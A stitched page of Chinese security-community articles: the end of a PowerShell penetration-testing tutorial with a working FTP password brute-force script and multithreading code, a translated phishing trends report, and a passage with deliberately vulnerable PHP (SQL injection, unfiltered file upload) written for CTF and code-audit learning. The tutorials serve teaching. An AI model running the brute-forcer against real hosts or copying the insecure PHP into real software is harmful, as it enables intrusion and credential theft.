[Parameter(Position = 1, Mandatory = $true)]
[Alias('Users')]
[String]
$UserList,
[Parameter(Position = 2, Mandatory = $true)]
[Alias('Passwords')]
[String]
$PasswordList,
[Parameter(Position = 3, Mandatory = $true)] [ValidateSet("FTP")]
[String]
$Service = "FTP",
[Parameter(Position = 4, Mandatory = $false)]
[Switch]
$StopOnSuccess,
[Parameter(Position = 6, Mandatory = $false)]
[UInt32]
$Delay = 0
)
Begin {
# 开始之前相关代码
}
Process
{
# Write-Verbose用于打印详细信息
Write-Verbose "Starting Brute-Force and Delay is $Delay."
# 获取用户名与密码字典
$usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
$passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
if (!$usernames) {
$usernames = $UserList
Write-Verbose "UserList file does not exist."
Write-Verbose $usernames
}
if (!$passwords) {
$passwords = $PasswordList
Write-Verbose "PasswordList file does not exist."
Write-Verbose $passwords
}
# Brute Force FTP
if ($service -eq "FTP")
{
# 机器名的处理：若ftp://开始直接获取名字，若没有直接加上
if($ComputerName -notMatch "^ftp://")
{
$source = "ftp://" + $ComputerName
}
else
{
$source = $ComputerName
}
Write-Output "Brute Forcing FTP on $ComputerName"
:UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
try
{
# 调用.net中的FTP库进行连接
$ftpRequest = [System.Net.FtpWebRequest]::Create($source)
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
# 通过Verbose输出的信息
Write-Verbose "Trying $userName : $password"
# 进行认证连接
$ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
# 获取返回信息
$result = $ftpRequest.GetResponse()
$message = $result.BannerMessage + $result.WelcomeMessage
# 打印信息到控制台
Write-Output "Match $username : $Password"
$success = $true
# 判断是否要得到结果立刻退出
if ($StopOnSuccess)
{
break UsernameLoop
}
}
catch
{
$message = $error[0].ToString()
$success = $false
}
# 延时爆破
Start-Sleep -Seconds $Delay
}
}
}
}
End {
# 其他脚本运行结束代码
}
}
下面来看看爆破的结果:
如果不加-verbose参数显示是非常清爽的:
## powershell(6)-Multithreading
powershell的多线程是我们在使用powershell进行渗透过程中必须使用到的功能！为什么呢？试想，当你到达对方内网，你需要列出用户，或者下载文件等等操作的时候你是选择等待几天还是几分钟搞定呢？我们通过内存和CPU的占用来提高效率，也就是我们通常算法上说的用空间来换取时间。机器配置高，有的用，而不用就是浪费。
### powershell自带的Job
这里使用网上一个例子
# 不使用多线程
$start = Get-Date
$code1 = { Start-Sleep -Seconds 5; 'A' }
$code2 = { Start-Sleep -Seconds 5; 'B'}
$code3 = { Start-Sleep -Seconds 5; 'C'}
$result1,$result2,$result3= (& $code1),(& $code2),(& $code3)
$end =Get-Date
$timespan= $end - $start
$seconds = $timespan.TotalSeconds
Write-Host "总耗时 $seconds 秒."
# 使用多线程
$start = Get-Date
$code1 = { Start-Sleep -Seconds 5; 'A' }
$code2 = { Start-Sleep -Seconds 5; 'B'}
$code3 = { Start-Sleep -Seconds 5; 'C'}
$job1 = Start-Job -ScriptBlock $code1
$job2 = Start-Job -ScriptBlock $code2
$job3 = Start-Job -ScriptBlock $code3
$alljobs = Wait-Job $job1,$job2,$job3
$result1,$result2,$result3 = Receive-Job $alljobs
$end =Get-Date
$timespan= $end - $start
$seconds = $timespan.TotalSeconds
Write-Host "总耗时 $seconds 秒."
那么可以测试到这两个脚本确实感觉上是使用了多线程，因为第二个版本使用时间只有9s左右的时间，但如果分来执行是需要15s的，就如第一个版本。那么这里是真的使用了多线程么？其实真实情况是多进程，最简单的查看方式，打开任务管理器，再执行脚本你可以看到多出3个powershell.exe的进程。那么我们可以用这个多进程么？是可以用，但是需要注意每个进程都需要跨进程交换数据，而且没有节流的机制，所以我们还是来看看真正的多线程吧。
### 多线程
直接来看一段代码
$code = { Start-Sleep -Seconds 2; "Hello" }
$newPowerShell = [PowerShell]::Create().AddScript($code)
$newPowerShell.Invoke()
这样我们通过powershell的API运行一个代码块，就算是在一个进程内执行了代码，不会创建新的进程。这是单线程，那么如何多线程呢？下面的代码就可以实现啦，那么测试过程中推荐windows的`process
explorer`来查看进程对应的线程，可以清晰的看到创建的线程。
# 设置线程限制为4，那么如果一起启动超过4线程就需要排队等待
$throttleLimit = 4
# 创建线程池
$SessionState = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
$Pool = [runspacefactory]::CreateRunspacePool(1, $throttleLimit, $SessionState, $Host)
$Pool.Open()
# 代码块
$ScriptBlock = {
param($id)
Start-Sleep -Seconds 2
"Done processing ID $id"
}
$threads = @()
# 创建40个线程
$handles = for ($x = 1; $x -le 40; $x++) {
$powershell = [powershell]::Create().AddScript($ScriptBlock).AddArgument($x)
$powershell.RunspacePool = $Pool
$powershell.BeginInvoke()
$threads += $powershell
}
# 获取数据
do {
$i = 0
$done = $true
foreach ($handle in $handles) {
if ($handle -ne $null) {
if ($handle.IsCompleted) {
$threads[$i].EndInvoke($handle)
$threads[$i].Dispose()
$handles[$i] = $null
} else {
$done = $false
}
}
$i++
}
if (-not $done) { Start-Sleep -Milliseconds 500 }
} until ($done)
大家可以试一试下面的代码和单独执行`get-hotfix`的速度差别：
$throttleLimit = 40
$SessionState = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
$Pool = [runspacefactory]::CreateRunspacePool(1, $throttleLimit, $SessionState, $Host)
$Pool.Open()
$ScriptBlock = {
get-HotFix
}
$threads = @()
$handles = for ($x = 1; $x -le 40; $x++) {
$powershell = [powershell]::Create().AddScript($ScriptBlock)
$powershell.RunspacePool = $Pool
$powershell.BeginInvoke()
$threads += $powershell
}
do {
$i = 0
$done = $true
foreach ($handle in $handles) {
if ($handle -ne $null) {
if ($handle.IsCompleted) {
$threads[$i].EndInvoke($handle)
$threads[$i].Dispose()
$handles[$i] = $null
} else {
$done = $false
}
}
$i++
}
if (-not $done) { Start-Sleep -Milliseconds 500 }
} until ($done)
那么以后大家需要执行的代码就写在脚本块区域即可。这里和前面的爆破脚本结合起来就是一个完美的爆破脚本和信息收集脚本。 | 社区文章 |
# 【技术分享】2017网络钓鱼趋势和情报报告---攻击人类（上）
|
##### 译文声明
本文是翻译文章，文章来源：phishlabs.com
原文地址：[www.phishlabs.com](www.phishlabs.com)
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**摘要**
2016年网络钓鱼威胁景观发生了巨大变化，这是由两个变革事件导致的。在2015年针对中国的网络钓鱼攻击数量几乎翻倍后，到了2016年，针对中国的钓鱼攻击下降了48%。在五个最有针对性的行业中，网络钓鱼数量平均增长超过33%。有23%的网络钓鱼攻击针对的是金融机构，22.6%的网络钓鱼攻击针对的是云存储服务行业。针对游戏行业的攻击量同比急剧减少了75%，针对社交网络网站的钓鱼攻击下降了17%。80%的钓鱼网站托管在10个国家，然而，在美国的占到了59%。2016年，超过51%的钓鱼网站使用了“.com”顶级域名。网站身份认证方法使用邮箱作为登录用户名的结果是：很多用户在不同的网站中使用了相同的邮箱和密码，因此由撞库攻击带来的破坏性在不断增大。现代勒索软件在感染它们的目标上很成功，这有很多原因，不过最重要的原因是它们使用的传播方法利用了一个最薄弱环节—人类。到目前为止，勒索软件最普遍的传播方式是网络钓鱼邮件。
**一、介绍**
欢迎阅读2017网络钓鱼趋势和情报报告。本报告的目的不仅在于提供洞察威胁主体开展网络钓鱼攻击的重大趋势、工具、和使用的技术，同时也提供背景和观点来说明这些变化为什么会发生。
今天的网络钓鱼威胁景观和2016年刚开始的相比有惊人的不同，有两个变革的事件导致了预期的钓鱼威胁景观和情形发生了根本性的巨变。
第一个变革事件是根本性的，就是钓鱼攻击者的攻击目标发生了变化，这主要有两个因素，一是攻击者的动机在不断变化，二是因为目标身份认证方式从唯一用户名演化成广泛接受的邮件地址(以前，网站或系统身份认证时通常采用“用户名+密码”的方式，现在很多网站或系统已经采用了“邮箱+密码”的方式，这种变化带来了很大问题)。
2016年第二个变革事件是勒索软件的快速增加，并很快变成了公共瘟疫。大范围的网络钓鱼将继续是传播勒索最有效的方法。
这份报告提供了这些事件的第一手和深入的观点，以及其他直接来源于PhishLabs的关于对抗钓鱼攻击和钓鱼攻击背后威胁主体的观点。本报告中强调的趋势将有助于企业更好地评估现代钓鱼攻击的风险，并且我们希望这个详细的调查结果能更好的用于减缓那些风险。
PhishLabs
R.A.I.D(研究、分析、和情报部门)由一些世界上最受尊敬的威胁研究人员组成，并撰写了这篇报告。PhishLabs有专门用于对抗钓鱼攻击的业务和技术系统，这篇报告中包含的信息和观点就是以此为基础的。
下面是我们报告的基础数据：
1.我们在2016年分析了近一百万个恶意钓鱼网站。
2.这些网站使用了超过170000个唯一域名(比2015年多23%)。
3.我们每个月调查并减少了超过7800次钓鱼攻击，确定了这些攻击中使用的基础架构，并关闭它们。
4.我们分析了来源于100多个勒索软件的变种和20多个银行木马的数千个独特的恶意软件样本。
5.领先的金融机构、社交媒体网站、医疗保健公司、零售商、保险公司和技术公司都使用了我们的服务，用于对抗网络钓鱼威胁。
6.从2008年，我们就一直在对抗网络钓鱼攻击。
**二、概述**
网络钓鱼是网络攻击的最大威胁向量。威胁主体以组织和个人的资产为目标时。网络攻击最有吸引力和最成功的方法仍然是利用人类的弱点。
2017网络钓鱼趋势和情报报告在网络钓鱼攻击和洞察这些攻击使用的技术方面，提供了趋势上的分析。它试图澄清谁在被攻击，并给出他们为什么被攻击的理由。阅读此报告的人将更好地了解网络钓鱼威胁，并更好的具备保护自己的能力。
2017网络钓鱼趋势和情报报告的重要结论是：
1.云存储网站可能会超越金融机构成为被钓鱼攻击最多的目标，这标志着钓鱼者在目标选择过程上发生了变化。
2.身份认证方法从唯一用户名变成了广泛接受的邮件地址，这个变化被严重利用，攻击者收获了大量凭据后，瞄准大量在线服务，通过凭据重用和其他方法进行二次攻击。
3.我们识别出了拥有170000个唯一域名的钓鱼网络，比上年增加了23%。
4.在五个最有针对性的行业中，网络钓鱼数量平均增长超过33%。
5.自2014年以来，针对政府税务机关的攻击增长超过300%。
6.2016年1月针对IRS的钓鱼攻击出现巨大增长(IRS网络钓鱼是骗子们冒充国税局给你发一封电子邮件，声称你逾期退税或你有税务问题，要求你点击邮件中的连接以便到IRS的网站上去澄清问题)，比2015年全年的都多。
7.与前几年有所差别，由于全球主要事件的影响，如英国退欧，网络钓鱼数量在年中达到高峰。
8.全球钓鱼攻击瞄准美国实体的份额增长至超过81%。
9.对加拿大机构的攻击增长了237%，幅度超过其他任何国家。
10.59%的钓鱼网站托管在美国，托管在东欧的钓鱼网站数量有显着增加。
11.在2016年，超过一半的钓鱼网站使用了“.com”顶级域名，新的通用顶级域名正在成为网络钓鱼更受欢迎的选择，因为它们便宜，并且可以被用于创建令人相信的钓鱼网站域名。
12.收集了超过29000个钓鱼工具，超过三分之一使用了逃避检测的技术。
13.勒索软件是网络钓鱼传播的主要类型的恶意软件，正聚焦在那些更可能支付赎金的组织，如医疗保健、政府、关键基础设施、教育和小型企业。
**三、钓鱼攻击景观的变化**
虽然它总是变化，2016年，我们观察到钓鱼威胁景观的基本动态发生了显着的改变。这些变化正在深刻地改变钓鱼威胁景观，这将影响组织很多年。本节回顾了这些观察到的变化，并详细对它们进行研究探讨。
**1.研究方法**
在2016年，PhishLabs分析了近一百万个确定的恶意钓鱼网站，它们托管在超过170000个独立域名上，使用了超过66000个独立IP，本节详细的调查结果就是以些为基础得到的。在本报告的语境中，我们定义钓鱼“攻击”是指一个域名托管了网络钓鱼环境，网络钓鱼的“份额”是指某类攻击在整个攻击总量中所占的百分比，而“量”是指原始的、累积的攻击次数。在后面的文章中，请大家注意，有些行业遭受网络钓鱼攻击的量在增长，但是在所有行业遭受网络钓鱼攻击中所占的份额有可能在降低，这一点大家应该能理解。
**2.如何进行网络钓鱼**
通常，钓鱼者首先要攻下一个有漏洞的网站，或注册一个恶意的域名，然后钓鱼者将钓鱼环境托管在这些主机中，他们上传了一些压缩文件，包含所有创建一个钓鱼网站所需的东西，也被称为“网络钓鱼工具包”。通过分析这些工具包，我们能更好地了解到网络钓鱼者的策略和技巧，因为这些工具包含了发展一个成功网络钓鱼所用到的“配方”。对这些工具包进行逆向工程，可以帮助我们了解到它们的设计方案，从而，我们可以更好的识别出个别钓鱼网站。
除了包含一个钓鱼网站的基本单元外，这些工具包也包含用于给钓鱼者发送信息的脚本，这些信息是钓鱼攻击活动收集到的信息，这些信息通常会被发送到钓鱼者设置的临时邮件账户中，我们也看到，有时候这些信息也会被发送到诈骗者控制的另一个域名下，或甚至通过类似于XMPP的即时通讯协议发送。
**3.谁是被攻击的目标**
2016年，在五个最有针对性的行业中，网络钓鱼数量平均增长超过33%。到2017年年底，云存储网站有可能会取代金融机构的位置，成功被钓鱼攻击最多的目标，这个历史趋势的巨大转变，暗示着钓鱼者从他们的攻击获得了更多的利润。除了从金融账户寻找直接利润，钓鱼者采用了更多间接的赚钱方法。以前很多网站在登录认证时使用的是用户名和密码的方式，而目前很多网站已经使用了邮件地址和密码的方式。钓鱼者利用了这个现在被广泛使用的身份认证做法，通过向使用了此认证机制的流行在线服务发动钓鱼攻击，钓鱼者大规模收获了电子邮件地址/口令凭据对，攻击者可以使用它们攻击次要目标(通常通过口令重用攻击，也就是撞库攻击)。
在2016年，我们确定了568个母机构(私有公司、政府机构、学校等等)的976个品牌,它们成为了以消费者为中心的钓鱼攻击的目标。这是从2015年开始增长的，那时钓鱼攻击针对了559个母机构的895个品牌。到了2016年，有166个实体在以前不是钓鱼攻击的目标，相反的是，155个机构在2015是攻击的目标，但是到了2016年，不再是被攻击的目标了。
2016年，超过91%的钓鱼攻击以五个行业为主要目标：金融机构、云存储/托管服务器、基于万维网的电子邮件服务/在线服务、支付服务、和电子商务企业。在这五个行业中，2016年网络钓鱼数量平均增长超过33%。
金融机构是钓鱼者由来已久的选择，在2016年它仍然是最受欢迎的攻击目标，虽然在2016年，该行业的钓鱼攻击总数有轻微增长，但针对该行业的网络钓鱼攻击份额在近年来大幅下降。在2013年，针对金融机构的攻击占所有钓鱼攻击的三分之一以上，这个数字现在已经下降到仅占全球网络钓鱼总量的四分之一。
可以看到针对金融机构的攻击份额下降了，而针对其他行业的攻击份额在大幅增加。这种趋势在云存储服务行业最为明显。在2013年，针对云存储行业的攻击少于10%，但是到了2016年。该行业的份额和金融机构的份额相比只少了一点点(22.6%比23%)。如果这种趋势还将继续，那么在2017年我们会看到云存储行业的份额可能会高于金融行业，成为被攻击最多的行业。值得注意的是，网络钓鱼攻击对云存储服务行业的影响几乎只针对两家公司：Google(Google
Drive/Docs)和Dropbox。
下图显示的是份额在下降的两个行业：
另一个在网络钓鱼攻击量上存在特殊增长的行业是软件即服务(SaaS)。在整个2015年，几乎看不到对这个行业的网络钓鱼攻击，但是在2015年后，针对这个行业的攻击量在2016年增长了近两倍。尽管在2016年针对该行业的攻击量只占到总量的2.1%，但是有可能这个数据在未来会继续增加，以该行业为目标的攻击会更加频繁。和云存储行业类似，软件即服务行业中的钓鱼攻击几乎只针对两家公司：Adobe和DocuSign。
前五个最有针对性的行业中，在最近四年中，只有基于万维网的电子邮件服务/在线服务行业受到的网络钓鱼攻击份额在持续增长。在这一时期，它从2013年的11%，持续增长到2016年的21%。
针对支付服务公司和电子商务网站的攻击量在2015年都有所下降，但是到了2016年，和2015年相比，又有了明显增加。2015年针对支付服务公司的攻击次数下降超过28%，是在攻击总量上唯一出现下降的行业。然而，在2016年，针对支付服务公司的攻击量又有所反弹，攻击量增长了80%，现在针对它的攻击量在总攻击量中占14%，然而，这远远低于2013年26%的份额，当时针对该行业的攻击量和其它行业的相比，该行业排在第二位。针对电子商务公司的攻击和2015年相比增长了44%，现在的份额占11%。
尽管2016年在大多数行业中，都看到了网络钓鱼攻击次数的增长，但是在少数行业中，攻击量又有所减少。如游戏行业，在2013年到2015年里都看到了稳定的增长，但是在2016年，针对该行业的攻击量急剧减少了75%，减少的比任何行业者都多。针对社交网络网站的网络钓鱼攻击在2015年有大量增长，但2016年和2015年相比，该行业遭受网络钓鱼攻击的次数下降了17%。
针对政府服务网络的钓鱼攻击在2016年也急剧增加。这种增长几乎完全由于对政府税收征管机构的网络钓鱼攻击在激增。自2014年，针对这些机构的攻击在份额上增长了300%。很明显，钓鱼者发现它们是非常有吸引力的目标。几乎所有针对政府税收征管机构的网络钓鱼攻击都发生在四个国家：加拿大(加拿大税务局)、法国(公共财政总局)、英国(英国税务海关总署)、美国(国内税务局)。
**但是，产生这些变化的原因是什么呢？**
因为一个根本性的变化在整体钓鱼威胁景观中正在发生。这个变化是：网络钓鱼威胁主体正在发展他们的战术，从而使他们的工作变得更容易，并将好用的功能内置到许多网站中。通过改变它们的目标和技术，钓鱼者有了一些变化：
1.更有效率的收集凭据。
2.专注于收集更广泛的信息，可以用来促进其他类型的犯罪。
3.转变的更间接，但可能更有利可图。
出现这个变化的主要原因是，在很多网站中都存在一个同样的弱点(账号密码重用导致的弱点)，包括几乎所有的云存储服务和SaaS公司，我们已经看到以这些服务为目标的攻击正在大幅增长。这些服务允许它们的用户通过身份认证进入各自的账户，并且使用了邮箱和密码进行认证，代替了以前使用的用户名和密码的方式。这种方式带来的问题是它们的很多用户会简单的重复使用他们的邮箱和密码，而不是为每一个账户重新创建一个邮箱和密码对。
**是什么驱动钓鱼者以他们为目标呢？**
最近的趋势表明，网络钓鱼威胁主体先前公认的动机从根本上改变了。现在，钓鱼者选择目标时有三个主要动机：
1.立即接管账户—-钓鱼者可以偷取账户中的钱，或在地下市场中出售这些账号。
2.凭据增值—-钓鱼者可以利用这些通用账号(例如.邮箱账号)在更大的范围内发动撞库攻击。
3.数据多样化—-钓鱼者收集受害者的综合信息，这些信息可以利用到其它犯罪活动中，如身份盗窃、税收欺诈、或是在地下经济中出售这些信息来赚钱。
在钓鱼生态系统中，使用邮件地址作为一个账户的登录凭据是易被攻击的一个最大弱点。通过利用这个身份认证机制，云存储服务和SaaS网站给网络犯罪创造了一个巨大机会。通过以这些网站为目标，网络犯罪分子可以很容易地收获到用户的所有电子邮件服务凭据。这比分别攻击每一个邮件提供者更有效，它使网络犯罪有效的回避了潜在的反钓鱼措施。
除了让钓鱼者的工作更高效，通过组合大量邮件地址和密码，去攻击其它使用了相同账号或密码的网站(撞库攻击)，可以有效的扩大恶意活动范围。
钓鱼景观中的这项进化也反应出了一个心态上的变化，钓鱼者使用他们收集信息是为了经济获益。根据以往的经验，当钓鱼者攻击了金融机构的客户后，他们通常会立即使用获得的凭据进入受害者的账户，并偷走受害者的钱。尽管针对金融机构的攻击维持在一个持续的水平，但是在2016年，钓鱼景观的特征是针对凭据的攻击呈爆发式增长，并且这些凭据通常不能立即获利。
随着最近在策略上的转变，钓鱼者可能会以一种更为间接的方法从被盗的凭据中赚钱。有两种基本方法可以使他们做到这一点。第一种方法是使用撞库攻击金融账户，并偷走钱。威胁主体利用这种技术，并通过接管多个不安全的账户，可以获得一个让收入更加多元化的机会。第二种方式法是在地下论坛和暗网市场中出售大量收获的凭据，这是2016年媒体的热门话题，尽管这个市场目前已经趋于饱和，但是这些大量凭据现在还是能卖到50到1000美元不等。
值得注意的是，这意味着许多钓鱼者的真正的目标可能不是云存储和SaaS泄露的账户，这些账户可能只是一个庞大计划的中间环节。
从过去的经验看，网络钓鱼攻击的主要目标信息是凭据和个人基础数据，但是最近的攻击趋势表明钓鱼者现在对个人、金融、就业、和账户安全信息都有更广泛的关注。在钓鱼攻击时，钓鱼者为了获得信息，会欺骗受害者，并迫使受害人输入更多需要的信息用于“验证”或“恢复”他们的在线账户，这是钓鱼者诱骗受害人时最常见的诱惑方法。
为什么钓鱼者会关注这么广泛的信息呢？一个可能的原因是在将来的网络钓鱼和账户接管活动中更能有利可图。例如，越来越多的钓鱼网站在收集账户安全信息，如常见的挑战/应答组合和母亲的娘家姓，这些信息可用于在密码重用攻击期间绕过验证机制。受攻击更频繁的另一个信息是受害者的电话号码，不仅可以知道受害人的电话号码，并被用于绕过双重因素的身份验证，还可以利用电话号码通过短信方式实施短信钓鱼攻击，这种方式正在迅速成为一个更受欢迎的攻击向量(通常被称为短信诈骗)。
值得注意的是，钓鱼网站收集的大量信息可以被轻易的用于各种其他犯罪目的，如身份盗窃。金融信息是钓鱼者最喜欢的目标之一，它可以被用于信用卡诈骗犯罪。2016年针对税务机构的网络钓鱼攻击呈爆炸式增长，这也表明，钓鱼者将从钓鱼攻击中得到的信息用到了报税诈骗中。
2016年初最大的一个网络安全事件是网络钓鱼攻击了美国国内税务局(IRS)。数量相当大，2016年1月份观察到的针对IRS的钓鱼网站比2015年全年的都多。我们观察到钓鱼攻击不仅针对纳税人，还包含纳税专家(为他人准备纳税申报的人)。对于大多数IRS钓鱼攻击诈骗，偷取纳税人的信息是主要目的。这种攻击形式很多，但是通常攻击者会提交一个看似合法的欺诈性报税表，从而收集受害人的任何个人的、金融的、和就业的相关信息。
这些信息包括个人识别信息(PII)、申报情况、雇主的信息、和收入等。有些钓鱼网站甚至会进一步收集受害人的配偶和家属信息、电子档案的PIN细节、和完整的W2数据。
在2016年。钓鱼者使用了很多策略来诱骗受害提交他们的个人和金融信息。对于IRS钓鱼主题，欺诈纳税人最常用的方法是声称受害人需要更新或核实他们的信息，以便于纳税申报成功得到处理。
针对税务专家的诈骗通常采用的方法是伪装成IRS电子服务门户网站的一个报税登录认证页面，以获取电子服务凭据。IRS电子服务允许纳税专家索取电子客户记录和提交客户申报单。在2016年早期，针对电子服务凭据的网络钓鱼攻击非常流行，以至于IRS向准备纳税的人发送了一个警告，提醒可能存在的诈骗。
下面是一个电子服务网站钓鱼页面：
尽管针对报税的攻击活动总量并不是很多，但是这些攻击造成的损失可能会很大。同时，虽然我们在2016年观察到了针对IRS的一个网络钓鱼攻击活动高峰，但是我们的分析表明，这些用于制造IRS攻击的工具包可能是由一个相对较少的个体完成的。和针对其它行业的钓鱼攻击相比，大部分IRS欺骗都不太复杂。即使如此，我们也观察到有一些钓鱼者使用了先进的功能，以提高他们钓鱼网站的真实性，并限制某些访问者访问这些网站。鉴于这这种钓鱼攻击在2016年很成功，因此，在2017年初，我们很有可能会看到这类钓鱼攻击活动的小高峰。
**4.攻击什么时候发生？**
在2016年，钓鱼攻击活动总量的高峰出现在年中，第四季度有所回落。这和前几年有所差别，前几年是攻击量随着时间在稳步上升，直到年底出现攻击高峰。2016年年中高峰可能是因为钓鱼者利用了一些主要的全球事件(如英国退欧)，以及被攻击的虚拟Web服务器数量异常激增。
在2013年到2015年期间，贯穿全年的网络钓鱼攻击趋势遵循一个持续的和可预测的模式。在近三年，网络钓鱼攻击通常会始终增加，并在第四季度节日期间达到高峰。但是这不是2016年的情况，2016年的攻击高峰出现在年中。此外，2016年12月观察到的网络钓鱼攻击数量是近两年中最低的。
这偏离了历史模型，主要因为以下两个因素：
1.钓鱼者利用了历史性的全球事件。
2.针对Web服务器的攻击数量激增。
**英国退欧效应**
正如我们这些年观察到的，钓鱼者会利用实时事件、重大事件、或全球危机来攻击潜在的受害人。因此，在节日期间，网络钓鱼攻击活动通常会激增，这利用了消费者在每年的这段时间内对接收到某些公司通信的预期。通常，在这段时间，当攻击者使用和上下文相关的诱惑策略时，网络钓鱼攻击会更容易成功，因为目标人群习惯于接收相同类型的合理邮件。
就像钓鱼者希望在一定的时间段去利用人们的自满情绪，他们同样会尝试利用因重大事件给受害人造成的焦虑和害怕。对英国公投脱欧的不确定和焦虑，导致了今年中期一些有针对性的钓鱼活动大幅增加。当察看针对英国机构的钓鱼攻击时，从网络钓鱼总量能清楚的看出英国脱欧是这次网络钓鱼攻击激增的原因。整体来看，2016年针对英国的攻击总量和2015年相比，减少了23%，但是2016年五月和六月份，由于公投的影响，针对英国机构的攻击出现了一个高峰。这些激增的攻击主要集中在支付服务公司和政府机构。这两个月网络钓鱼攻击的平均量是其它月份平均量的一倍以上。到七月份，英国脱欧公投结束之后，针对英国实体的网络钓鱼攻击数量暴跌。
上图是2016年每个月针对英国的网络钓鱼攻击数量。
**针对共享虚拟WEB服务器的攻击激增**
另一个导致年中网络钓鱼攻击数量激增的因素是没有预想到的，这就是针对共享WEB虚拟服务器的攻击大幅增加。然而这种技术并不是新的，近年来它的使用并不广泛。在2016年，我们观察到超过300个事件涉及到沦陷的虚拟Web服务器，并影响到超过14000个域名。这代表了全年网络钓鱼攻击量的10%。这些攻击的三分之一发生在两个月内，五月和六月，这两个月的攻击影响了8000个域名。
尽管全年的网络钓鱼趋势和前几年有所不同，但是大部分特定行业的趋势还是保持了历史上的相似性。我们看到针对电子商务网站、社交网站和SaaS公司的钓鱼活动随着时间的推移在持续的增加。相反，随着2016年的结束，我们看到了针对云存储网站、金融机构和政府服务的网络钓鱼攻击在减少。这些发现支持这一假设：尽管金融机构和云存储网站是两个最常见的目标行业，但是钓鱼者也会在重要的时期选择攻击其它行业(如节日期间的电子商务网站)，使成功的可能性最大化。 | 社区文章 |
# 前言
这周啥也没干，就去看了看开发，为以后的代码审计铺垫铺垫。毕竟开发过，审计代码的时候才不会憨憨傻傻的。之前审计过两个cms，当时真的是，审的人都快麻了，害。果然还是要有写开发的功底，再去审计才不会那么吃力。接下来这四个方面，是我从那个开发的小系统中，简单提取的四个方面，分别涉及sql注入，CSRF，XSS等等。（开发能力欠缺，各位师傅将就看）
## sql注入
sql注入嘛，一个成型的网站，基本上都是跑不了使用MYSQL的，所以sql注入的存在极为广泛，waf一个挡不住，就可能存在sql注入。
index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
<table>
<form action="sql.php" method="post">
查询
<p><input type="username" name="username"></p>
<p><input type="submit" name="submit" value="提交"></p>
</table>
</body>
sql.php
<?php
error_reporting(0);
header ("Content-Type:text/html;charset=utf-8");
include '../upload/config.php';
$username=$_POST['username'];
$sql="select * from user where username='{$username}'";
$row=mysql_query($sql);
$rst=mysql_fetch_assoc($row);
echo "{$rst['username']}用户存在";
?>
这种是查询的注入，但是一般的这里都会有waf，所以我们可以尝试别的情况下注入，比如`insert/delete`
<?php
error_reporting(0);
header ("Content-Type:text/html;charset=utf-8");
include '../upload/config.php';
$username=$_POST['username'];
$sql="insert into haha(name) values ('{$username}')";
$row=mysql_query($sql);
if ($row) {
echo "用户插入成功";
}
?>
这种就可以报错注入或者盲注了
## 文件上传
index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
<table>
<form enctype="multipart/form-data" action="upload.php" method="post">
<p><input type="file" name="file"></p>
<p><input type="submit" name="submit" value="提交"></p>
</table>
</body>
其中`enctype="multipart/form-data"` 在文件上传的时候是不可或缺的。
upload.php
<?php
//print_r($_FILES);
// exit();
header ("Content-Type:text/html;charset=utf-8");
if (isset($_POST['submit'])) {
$name=$_FILES['file']['name'];
$path=$_FILES['file']['tmp_name'];
$newpath='upload/'.time().$name;
if (move_uploaded_file($path,$newpath)) {
echo '保存成功，路径为<br/>'.$newpath;
}
}
?>
这就是最简单的文件上传了，没有任何过滤，传入别的类型的文件还会报错。
从CTF来讲，一般正经的只靠文件上传的题目已经很少了。所以拓展来将，最近遇到的比较有新意的题目就是网刃杯的那道文件上传。
当时题目提示的是sql，我懵了一下，文件上传还能和sql注入扯到一起，这不瞎搞。后来的一周，我看了点开发的东西，我发现，一般后台有文件上传的功能的时候，一般都会把文件名写入到数据库中。到这里我茅塞顿开，许多的安全问题都是源自开发。
index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
<table>
<form enctype="multipart/form-data" action="upload.php" method="post">
<p><input type="file" name="file"></p>
<p><input type="submit" name="submit" value="提交"></p>
</table>
</body>
config.php
<?php
mysql_connect('localhost','root','root');
mysql_query('set names utf-8');
mysql_select_db('img');
?>
upload.php
<?php
//print_r($_FILES);
// exit();
header ("Content-Type:text/html;charset=utf-8");
//error_reporting(0);
include 'config.php';
$move=false;
$rst=false;
if (isset($_POST['submit'])) {
$name=$_FILES['file']['name'];
$path=$_FILES['file']['tmp_name'];
$size=$_FILES['file']['size'];
$newpath='upload/'.time().$name;
$move=move_uploaded_file($path,$newpath);
$sql="insert into cname(name,path,size) values('{$name}','{$newpath}','{$size}')";
//echo $sql;
$rst=mysql_query($sql);
$selectsql="select * from cname where name='{$name}'";
//echo $selectsql;
$selectrst=mysql_query($selectsql);
$selectrow=mysql_fetch_assoc($selectrst);
//print_r($selectrow);
if ($move&&$rst) {
echo "文件{$selectrow['name']}已经存储到数据库<br/>并且图片存储的位置是".$newpath;
}
}
?>
**ps:写sql语句的时候一定要带单引号........我麻了**
这里假装我对上传的文件进行了过滤，已经无法通过文件上传shell，但是这里我们通过文件名，文件大小，文件路径都可以进行SQL注入。//这里我写了那么明显，就没有注入。
接下来就是写waf了
//前端waf
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
alert(errMsg);
return false;
}
}
</script>
//由于js太菜，抄的upload-labs的
但是前端过滤也没啥用
后端过滤的话
<?php
//print_r($_FILES);
// exit();
header ("Content-Type:text/html;charset=utf-8");
if (isset($_POST['submit'])) {
$name=$_FILES['file']['name'];
$path=$_FILES['file']['tmp_name'];
